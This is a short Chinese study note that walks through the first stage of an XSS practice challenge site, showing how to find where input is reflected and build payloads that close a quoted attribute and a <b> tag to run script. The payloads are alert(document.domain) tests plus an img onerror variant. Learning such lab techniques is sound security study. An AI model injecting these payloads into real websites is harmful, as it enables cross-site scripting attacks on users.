声明:
由于笔者能力有限,难免出现各种错误和漏洞。全文仅作为个人笔记,仅供参考。
笔记内容来源于各类网课。
环境:
XSS Challenges Stage #1:http://xss-quiz.int21h.jp/ , IE浏览器
一、概述
没有过滤的XSS。
二、HTML的b标签
<b>标签规定粗体文本
三、探测XSS过程
1. 正常的数据提交
首先要提交一个不会被识别为恶意字符串的字符串,用于测试提交的数据的回显的位置。
例如:123abc
2. 代码审查
使用浏览器的审查工具进行代码审计,寻找构造的字符串是否有显示,以及显示的位置。
明显看出,这是个反射型XSS漏洞。
通过代码审计可以发现,数据被"(双引号)闭合,外部再由b标签闭合。
3. 构造Payload
我们可以尝试使用闭合前面的双引号和b标签,让我们JS脚本可以被浏览器解析。
我们尝试一些闭合前面内容。
"</b>123abc
可以发现,"和b标签已经被闭合。我们继续构造Payload,让页面执行JS代码。
"</b><script>alert(document.domain);</script>
页面成功执行。
假如我们不闭合标签,即使在双引号内,文本依然会被作为JS脚本执行。
<script>alert(document.domain);</script>
当然使用双引号闭合,但是不闭合b标签,一样可以执行JS脚本。
"<script>alert(document.domain);</script>
或者将"和b标签闭合,后面利用img的onerror事件触发脚本。
"</b><img src=x onerror=alert(document.domain)>
可以使用Payload还有很多很多。